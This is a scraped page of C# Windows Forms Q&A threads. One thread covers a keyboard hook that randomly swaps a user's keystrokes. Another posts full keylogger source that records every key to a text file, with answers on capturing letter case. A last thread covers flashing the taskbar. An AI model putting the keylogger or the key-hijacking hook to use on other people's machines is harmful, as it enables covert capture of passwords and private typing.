public int dwExtraInfo;
}
const int WH_KEYBOARD_LL = 13;
const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_SYSKEYDOWN = 0x104;
const int WM_SYSKEYUP = 0x105;
#endregion
#region Instance Variables
/// <summary>
/// The collections of keys to watch for
/// </summary>
public List<Keys> HookedKeys = new List<Keys>();
/// <summary>
/// Handle to the hook, need this to unhook and call the next hook
/// </summary>
IntPtr hhook = IntPtr.Zero;
#endregion
#region Events
/// <summary>
/// Occurs when one of the hooked keys is pressed
/// </summary>
public event KeyEventHandler KeyDown;
/// <summary>
/// Occurs when one of the hooked keys is released
/// </summary>
public event KeyEventHandler KeyUp;
#endregion
#region Constructors and Destructors
/// <summary>
/// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
/// </summary>
public globalKeyboardHook() {
}
/// <summary>
/// Releases unmanaged resources and performs other cleanup operations before the
/// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
/// </summary>
~globalKeyboardHook() {
unhook();
}
#endregion
#region Public Methods
/// <summary>
/// Installs the global hook
/// </summary>
public void hook() {
_hookProc = new keyboardHookProc(hookProc);
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, hInstance, 0);
}
/// <summary>
/// Uninstalls the global hook
/// </summary>
public void unhook() {
UnhookWindowsHookEx(hhook);
hhook = IntPtr.Zero;
}
/// <summary>
/// The callback for the keyboard hook
/// </summary>
/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
/// <param name="wParam">The event type</param>
/// <param name="lParam">The keyhook event information</param>
/// <returns></returns>
public int hookProc(int code, int wParam, ref keyboardHookStruct lParam) {
if (code >= 0) {
Keys key = (Keys)lParam.vkCode;
if (HookedKeys.Contains(key)) {
KeyEventArgs kea = new KeyEventArgs(key);
if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null)) {
KeyDown(this, kea) ;
} else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null)) {
KeyUp(this, kea);
}
if (kea.Handled)
return 1;
}
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}
#endregion
#region DLL imports
/// <summary>
/// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
/// </summary>
/// <param name="idHook">The id of the event you want to hook</param>
/// <param name="callback">The callback.</param>
/// <param name="hInstance">The handle you want to attach the event to, can be null</param>
/// <param name="threadId">The thread you want to attach the event to, can be null</param>
/// <returns>a handle to the desired hook</returns>
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
/// <summary>
/// Unhooks the windows hook.
/// </summary>
/// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
/// <returns>True if successful, false otherwise</returns>
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
/// <summary>
/// Calls the next hook.
/// </summary>
/// <param name="idHook">The hook id</param>
/// <param name="nCode">The hook code</param>
/// <param name="wParam">The wparam.</param>
/// <param name="lParam">The lparam.</param>
/// <returns></returns>
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
/// <summary>
/// Loads the library.
/// </summary>
/// <param name="lpFileName">Name of the library</param>
/// <returns>A handle to the library</returns>
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
keyboardHookProc _hookProc;
#endregion
}
}
Here is the entry point to the application:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
using Utilities;
using System.Timers;
namespace KeyRemapWindowsForm
{
static class Program
{
static bool _isHookActive = true;
static globalKeyboardHook gkh = new globalKeyboardHook();
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
System.Timers.Timer HookTimer = new System.Timers.Timer(60000);
HookTimer.Elapsed += new ElapsedEventHandler(HookTimer_Elapsed);
HookTimer.Start();
Begin();
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run();
GC.KeepAlive(HookTimer);
}
// Specify what you want to happen when the Elapsed event is
// raised.
static void HookTimer_Elapsed(object source, ElapsedEventArgs e)
{
if (_isHookActive)
{
End();
}
else
{
Begin();
}
}
static void Begin()
{
gkh = new globalKeyboardHook();
gkh.hook();
gkh.HookedKeys.Add(Keys.A);
gkh.HookedKeys.Add(Keys.B);
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
gkh.KeyUp += new KeyEventHandler(gkh_KeyUp);
_isHookActive = true;
}
static void End()
{
gkh.HookedKeys.Clear();
gkh.KeyDown -= new KeyEventHandler(gkh_KeyDown);
gkh.KeyUp -= new KeyEventHandler(gkh_KeyUp);
gkh.unhook();
_isHookActive = false;
}
static void gkh_KeyUp(object sender, KeyEventArgs e)
{
SendKeys.Send(((KeyboardKeys)GetRandomKeyCode()).ToString());
e.Handled = true;
}
static void gkh_KeyDown(object sender, KeyEventArgs e)
{
e.Handled = true;
}
static int GetRandomKeyCode()
{
int RandomNum = 0;
while(RandomNum == 0)
{
Random RanNum = new Random();
RandomNum = RanNum.Next(65, 90);
switch(RandomNum)
{
case 68:
case 69:
case 86:
RandomNum = 0;
break;
default:
break;
}
}
return RandomNum;
}
}
public enum KeyboardKeys
{
/// <summary>
/// The A key.
/// </summary>
A = 65,
/// <summary>
/// The B key.
/// </summary>
B = 66,
/// <summary>
/// The C key.
/// </summary>
C = 67,
/// <summary>
/// The D key.
/// </summary>
D = 68,
/// <summary>
/// The E key.
/// </summary>
E = 69,
/// <summary>
/// The F key.
/// </summary>
F = 70,
/// <summary>
/// The G key.
/// </summary>
G = 71,
/// <summary>
/// The H key.
/// </summary>
H = 72,
/// <summary>
/// The I key.
/// </summary>
I = 73,
/// <summary>
/// The J key.
/// </summary>
J = 74,
/// <summary>
/// The K key.
/// </summary>
K = 75,
/// <summary>
/// The L key.
/// </summary>
L = 76,
/// <summary>
/// The M key.
/// </summary>
M = 77,
/// <summary>
/// The N key.
/// </summary>
N = 78,
/// <summary>
/// The O key.
/// </summary>
O = 79,
/// <summary>
/// The P key.
/// </summary>
P = 80,
/// <summary>
/// The Q key.
/// </summary>
Q = 81,
/// <summary>
/// The R key.
/// </summary>
R = 82,
/// <summary>
/// The S key.
/// </summary>
S = 83,
/// <summary>
/// The T key.
/// </summary>
T = 84,
/// <summary>
/// The U key.
/// </summary>
U = 85,
/// <summary>
/// The V key.
/// </summary>
V = 86,
/// <summary>
/// The W key.
/// </summary>
W = 87,
/// <summary>
/// The X key.
/// </summary>
X = 88,
/// <summary>
/// The Y key.
/// </summary>
Y = 89,
/// <summary>
/// The Z key.
/// </summary>
Z = 90
}
}
EDIT: So I took Jonathan.Peppers advice and put the check for isActive in the keydown event and that worked as far as faking like it was on and off. Now I have run into a new problem. After I have typed for awhile I get an InvalidOperationException with the reason being "Queue Empty" and not sure why it gets emptied when it's running just fine while I'm typing. I left the keyboard hook code alone but updated the application entry point code to the following:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
using Utilities;
using System.Timers;
namespace KeyRemapWindowsForm
{
static class Program
{
static bool _isHookActive = true;
static globalKeyboardHook gkh = new globalKeyboardHook();
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
System.Timers.Timer HookTimer = new System.Timers.Timer(10000);
HookTimer.Elapsed += new ElapsedEventHandler(HookTimer_Elapsed);
HookTimer.Start();
Application.ApplicationExit += new EventHandler(OnApplicationExit);
gkh.hook();
gkh.HookedKeys.Add(Keys.S);
gkh.HookedKeys.Add(Keys.E);
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
gkh.KeyUp += new KeyEventHandler(gkh_KeyUp);
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run();
GC.KeepAlive(HookTimer);
}
static void OnApplicationExit(object sender, EventArgs e)
{
gkh.unhook();
}
static void HookTimer_Elapsed(object source, ElapsedEventArgs e)
{
if (_isHookActive)
{
_isHookActive = false;
}
else
{
_isHookActive = true;
}
}
static void gkh_KeyUp(object sender, KeyEventArgs e)
{
try
{
if (_isHookActive)
{
e.Handled = true;
}
}
catch
{
gkh.unhook();
Application.Exit();
}
}
static void gkh_KeyDown(object sender, KeyEventArgs e)
{
try
{
if (_isHookActive)
{
SendKeys.Send(((Keys)new Random().Next(65, 90)).ToString());
e.Handled = true;
}
}
catch
{
gkh.unhook();
Application.Exit();
}
}
}
}
EDIT: Stack trace I get from the above code after typing for awhile.
at System.Collections.Queue.Dequeue()
at System.Windows.Forms.SendKeys.SendInput(Byte[] oldKeyboardState, Queue previousEvents)
at System.Windows.Forms.SendKeys.Send(String keys, Control control, Boolean wait)
at System.Windows.Forms.SendKeys.Send(String keys)
at KeyRemapWindowsForm.Program.gkh_KeyDown(Object sender, KeyEventArgs e) in C:\Demos\KeyRemapWindowsForm\Program.cs:line 79
I've just been wrangling a very similar issue so I'm adding what I have found out to help anyone else having the problem.
The problem is the thread the hook is created on.
The System.Timers.Timer class will by default create a thread on the thread pool, not the main UI thread. If this thread goes, so does your hook.
You need to ensure the timer event it called on a thread that doesn't disappear.
You can either:
use the .SynchronizingObject property to ensure the call is made in the same thread as the object you specify.
Or you can marshal it yourself if you put something like this at top of your timer event:
this.InvokeCatchDisposedException(new MethodInvoker(() => HookTimer_Elapsed(sender, e)));
return;
Here's a link to describe the differences between the .net timers I found helpful.
https://msdn.microsoft.com/en-us/magazine/cc164015.aspx
Why don't you leave the hook in place continuously?
You can toggle your hook to not modify the keypress with your timer. Put an if (_hookEnabled) in your gkh_KeyUp and gkh_KeyDown methods.
I would think that setting up the hook would be an expensive operation anyways.

Help modifying a Keylogger application [closed]

It's difficult to tell what is being asked here. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form. For help clarifying this question so that it can be reopened, visit the help center.
Closed 12 years ago.
I got this application from the internet and I want to add some modifications. Unfortunately, I don't know what to do. This application is a simple Keylogger that saves the log in a text file.
*After reading the text file after the keylogging occurred, i noticed it had the words all in Upper Case, and for punctuation such as SPACE or ENTER, the word space and enter was used.
Can anyone please modify the code to save the exact casing of the character? I can't fairly understand the code.... thanks.
Form1.cs
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.IO;
using Utilities;
namespace Key_Logger
{
/// <summary>
/// Summary description for Form1.
/// </summary>
public class Form1 : System.Windows.Forms.Form
{
private System.Windows.Forms.ListBox listBox1;
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.Container components = null;
globalKeyboardHook gkh = new globalKeyboardHook();
private void HookAll()
{
foreach (object key in Enum.GetValues(typeof(Keys)))
{
gkh.HookedKeys.Add((Keys)key);
}
}
private void Form1_Load(object sender, EventArgs e)
{
gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
HookAll();
if (File.Exists(#"Keylogger.txt"))
{
File.Delete(#"Keylogger.txt");
}
}
void gkh_KeyDown(object sender, KeyEventArgs e)
{
StreamWriter SW = new StreamWriter(#"Keylogger.txt", true);
SW.Write(e.KeyCode);
SW.Close();
}
public Form1()
{
//
// Required for Windows Form Designer support
//
InitializeComponent();
//
// TODO: Add any constructor code after InitializeComponent call
//
}
/// <summary>
/// Clean up any resources being used.
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if (components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
//Windows Form Designer generated code
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
Application.Run(new Form1());
}
}
}
globalKeyboardHook.cs
using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Utilities {
/// <summary>
/// A class that manages a global low level keyboard hook
/// </summary>
class globalKeyboardHook {
#region Constant, Structure and Delegate Definitions
/// <summary>
/// defines the callback type for the hook
/// </summary>
public delegate int keyboardHookProc(int code, int wParam, ref keyboardHookStruct lParam);
public struct keyboardHookStruct {
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
public bool _hookAll = false;
public bool HookAllKeys
{
get
{
return _hookAll;
}
set
{
_hookAll = value;
}
}
const int WH_KEYBOARD_LL = 13;
const int WM_KEYDOWN = 0x100;
const int WM_KEYUP = 0x101;
const int WM_SYSKEYDOWN = 0x104;
const int WM_SYSKEYUP = 0x105;
#endregion
#region Instance Variables
/// <summary>
/// The collections of keys to watch for
/// </summary>
public List<Keys> HookedKeys = new List<Keys>();
/// <summary>
/// Handle to the hook, need this to unhook and call the next hook
/// </summary>
IntPtr hhook = IntPtr.Zero;
keyboardHookProc khp;
#endregion
#region Events
/// <summary>
/// Occurs when one of the hooked keys is pressed
/// </summary>
public event KeyEventHandler KeyDown;
/// <summary>
/// Occurs when one of the hooked keys is released
/// </summary>
public event KeyEventHandler KeyUp;
#endregion
#region Constructors and Destructors
/// <summary>
/// Initializes a new instance of the <see cref="globalKeyboardHook"/> class and installs the keyboard hook.
/// </summary>
public globalKeyboardHook()
{
khp = new keyboardHookProc(hookProc);
hook();
}
/// <summary>
/// Releases unmanaged resources and performs other cleanup operations before the
/// <see cref="globalKeyboardHook"/> is reclaimed by garbage collection and uninstalls the keyboard hook.
/// </summary>
~globalKeyboardHook() {
unhook();
}
#endregion
#region Public Methods
/// <summary>
/// Installs the global hook
/// </summary>
public void hook()
{
IntPtr hInstance = LoadLibrary("User32");
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, khp, hInstance, 0);
}
/// <summary>
/// Uninstalls the global hook
/// </summary>
public void unhook() {
UnhookWindowsHookEx(hhook);
}
/// <summary>
/// The callback for the keyboard hook
/// </summary>
/// <param name="code">The hook code, if it isn't >= 0, the function shouldn't do anyting</param>
/// <param name="wParam">The event type</param>
/// <param name="lParam">The keyhook event information</param>
/// <returns></returns>
public int hookProc(int code, int wParam, ref keyboardHookStruct lParam) {
if (code >= 0)
{
Keys key = (Keys)lParam.vkCode;
if (_hookAll ? true : HookedKeys.Contains(key))
{
KeyEventArgs kea = new KeyEventArgs(key);
if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && (KeyDown != null))
{
KeyDown(this, kea);
}
else if ((wParam == WM_KEYUP || wParam == WM_SYSKEYUP) && (KeyUp != null))
{
KeyUp(this, kea);
}
if (kea.Handled)
return 1;
}
}
return CallNextHookEx(hhook, code, wParam, ref lParam);
}
#endregion
#region DLL imports
/// <summary>
/// Sets the windows hook, do the desired event, one of hInstance or threadId must be non-null
/// </summary>
/// <param name="idHook">The id of the event you want to hook</param>
/// <param name="callback">The callback.</param>
/// <param name="hInstance">The handle you want to attach the event to, can be null</param>
/// <param name="threadId">The thread you want to attach the event to, can be null</param>
/// <returns>a handle to the desired hook</returns>
[DllImport("user32.dll")]
static extern IntPtr SetWindowsHookEx(int idHook, keyboardHookProc callback, IntPtr hInstance, uint threadId);
/// <summary>
/// Unhooks the windows hook.
/// </summary>
/// <param name="hInstance">The hook handle that was returned from SetWindowsHookEx</param>
/// <returns>True if successful, false otherwise</returns>
[DllImport("user32.dll")]
static extern bool UnhookWindowsHookEx(IntPtr hInstance);
/// <summary>
/// Calls the next hook.
/// </summary>
/// <param name="idHook">The hook id</param>
/// <param name="nCode">The hook code</param>
/// <param name="wParam">The wparam.</param>
/// <param name="lParam">The lparam.</param>
/// <returns></returns>
[DllImport("user32.dll")]
static extern int CallNextHookEx(IntPtr idHook, int nCode, int wParam, ref keyboardHookStruct lParam);
/// <summary>
/// Loads the library.
/// </summary>
/// <param name="lpFileName">Name of the library</param>
/// <returns>A handle to the library</returns>
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
#endregion
}
}
The key-logger is doing just that: logging keystrokes. In Form1.Form1_Load, it's registering gkh_keyDown as the handler for every time a key is pressed. Importantly, there's no handler for when a key is released- there's nothing set to watch for the event gkh_keyUp. But the root GlobalKeyboardHook library does provide those events.
You'll need to write a new function (possibly gkh_keyUp) to handle keyUp events. That's the only way to know when anybody has let go of a shift key.
If all you care about is SHIFT+letters, and when Ctrl or Alt is released, you'll need to do the following:
Add a bool for whether or not SHIFT is currently pressed.
Set the flag whenever SHIFT is found to be the key on a Key Down event. Clear it whenever it's the key on Key Up.
Whenever the key string is "SPACE", detect a space instead.
If the SHIFT flag isn't set, use String.ToLower() when writing the key letter to the file; leave it as-is (in caps) if it's unset.
If key-up receives Ctrl or Alt, make it print (-CTRL) or (-ALT) to represent the key being released. Other than changing the SHIFT flag, the key-up handler should probably be blank.
This isn't that big a rewrite, but rewriting it in place in this comment box felt like a bit much. Relevant things are that you don't need to change GlobalKeyboardHook.cs at all, and you should read the C# reference on events, event handling, and delegates to understand what's going on in Form1_Load, if you aren't sure how to register the key-up event.
The important part is this line:
SW.Write(e.KeyCode);
Notice that e.KeyCode is of type KeyCode which is an enum. This enum has values such as A for the “A” key, Space for the spacebar, etc. Calling SW.Write with this will turn the enum value into a string containing its name and write that to the file.
Looks like your global keyboard hook does not provide any functionality to turn this KeyCode into an actual character. Implementing that is very hard: the character typed depends not only on what other keys are being pressed at the same time (e.g. Shift or AltGr), but also on the current keyboard layout. The user could have several different keyboard layouts installed and switch between them all the time.

How to make Taskbar Flash on Lost Focus

I stumbled on this code below and tried to implement it in my WinForm App to help my users as many are very NOT tech-savy.
Unfortunately, it does nothing. It does not generate any errors or anything. It just doesn't make it Flash.
Can anyone offer any insight? I have tried it on Win 7(x64) & Win XP (x86) with the same results on both.
I am calling it like so --> TaskbarFlasher.FlashWindow(this); From my Main Form.
[DllImport("user32.dll")]
private extern static bool FlashWindow(IntPtr hwnd, bool bInvert);
[DllImport("user32.dll")]
private extern static IntPtr GetForegroundWindow();
/// <summary>
/// Notifies the user that the application requests attention
/// by flashing the taskbar if the form is not the current window.
/// </summary>
/// <param name="myForm">The form in question.</param>
public static void FlashWindow(Form myForm)
{
// if the current foreground window isn't this window,
// flash this window in task bar once every 1 second
if (GetForegroundWindow() != myForm.Handle)
{
FlashWindow(myForm.Handle, true);
}
}
Nevermind, I figured it out with the Following Links Help --> http://pietschsoft.com/post/2009/01/26/CSharp-Flash-Window-in-Taskbar-via-Win32-FlashWindowEx.aspx
Thanks Chris Pietschmann from a fellow SO Wisconsinite!!
public static class FlashWindow
{
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool FlashWindowEx(ref FLASHWINFO pwfi);
[StructLayout(LayoutKind.Sequential)]
private struct FLASHWINFO
{
/// <summary>
/// The size of the structure in bytes.
/// </summary>
public uint cbSize;
/// <summary>
/// A Handle to the Window to be Flashed. The window can be either opened or minimized.
/// </summary>
public IntPtr hwnd;
/// <summary>
/// The Flash Status.
/// </summary>
public uint dwFlags;
/// <summary>
/// The number of times to Flash the window.
/// </summary>
public uint uCount;
/// <summary>
/// The rate at which the Window is to be flashed, in milliseconds. If Zero, the function uses the default cursor blink rate.
/// </summary>
public uint dwTimeout;
}
/// <summary>
/// Stop flashing. The system restores the window to its original stae.
/// </summary>
public const uint FLASHW_STOP = 0;
/// <summary>
/// Flash the window caption.
/// </summary>
public const uint FLASHW_CAPTION = 1;
/// <summary>
/// Flash the taskbar button.
/// </summary>
public const uint FLASHW_TRAY = 2;
/// <summary>
/// Flash both the window caption and taskbar button.
/// This is equivalent to setting the FLASHW_CAPTION | FLASHW_TRAY flags.
/// </summary>
public const uint FLASHW_ALL = 3;
/// <summary>
/// Flash continuously, until the FLASHW_STOP flag is set.
/// </summary>
public const uint FLASHW_TIMER = 4;
/// <summary>
/// Flash continuously until the window comes to the foreground.
/// </summary>
public const uint FLASHW_TIMERNOFG = 12;
/// <summary>
/// Flash the spacified Window (Form) until it recieves focus.
/// </summary>
/// <param name="form">The Form (Window) to Flash.</param>
/// <returns></returns>
public static bool Flash(System.Windows.Forms.Form form)
{
// Make sure we're running under Windows 2000 or later
if (Win2000OrLater)
{
FLASHWINFO fi = Create_FLASHWINFO(form.Handle, FLASHW_ALL | FLASHW_TIMERNOFG, uint.MaxValue, 0);
return FlashWindowEx(ref fi);
}
return false;
}
private static FLASHWINFO Create_FLASHWINFO(IntPtr handle, uint flags, uint count, uint timeout)
{
FLASHWINFO fi = new FLASHWINFO();
fi.cbSize = Convert.ToUInt32(Marshal.SizeOf(fi));
fi.hwnd = handle;
fi.dwFlags = flags;
fi.uCount = count;
fi.dwTimeout = timeout;
return fi;
}
/// <summary>
/// Flash the specified Window (form) for the specified number of times
/// </summary>
/// <param name="form">The Form (Window) to Flash.</param>
/// <param name="count">The number of times to Flash.</param>
/// <returns></returns>
public static bool Flash(System.Windows.Forms.Form form, uint count)
{
if (Win2000OrLater)
{
FLASHWINFO fi = Create_FLASHWINFO(form.Handle, FLASHW_ALL, count, 0);
return FlashWindowEx(ref fi);
}
return false;
}
/// <summary>
/// Start Flashing the specified Window (form)
/// </summary>
/// <param name="form">The Form (Window) to Flash.</param>
/// <returns></returns>
public static bool Start(System.Windows.Forms.Form form)
{
if (Win2000OrLater)
{
FLASHWINFO fi = Create_FLASHWINFO(form.Handle, FLASHW_ALL, uint.MaxValue, 0);
return FlashWindowEx(ref fi);
}
return false;
}
/// <summary>
/// Stop Flashing the specified Window (form)
/// </summary>
/// <param name="form"></param>
/// <returns></returns>
public static bool Stop(System.Windows.Forms.Form form)
{
if (Win2000OrLater)
{
FLASHWINFO fi = Create_FLASHWINFO(form.Handle, FLASHW_STOP, uint.MaxValue, 0);
return FlashWindowEx(ref fi);
}
return false;
}
/// <summary>
/// A boolean value indicating whether the application is running on Windows 2000 or later.
/// </summary>
private static bool Win2000OrLater
{
get { return System.Environment.OSVersion.Version.Major >= 5; }
}
}

Categories

Resources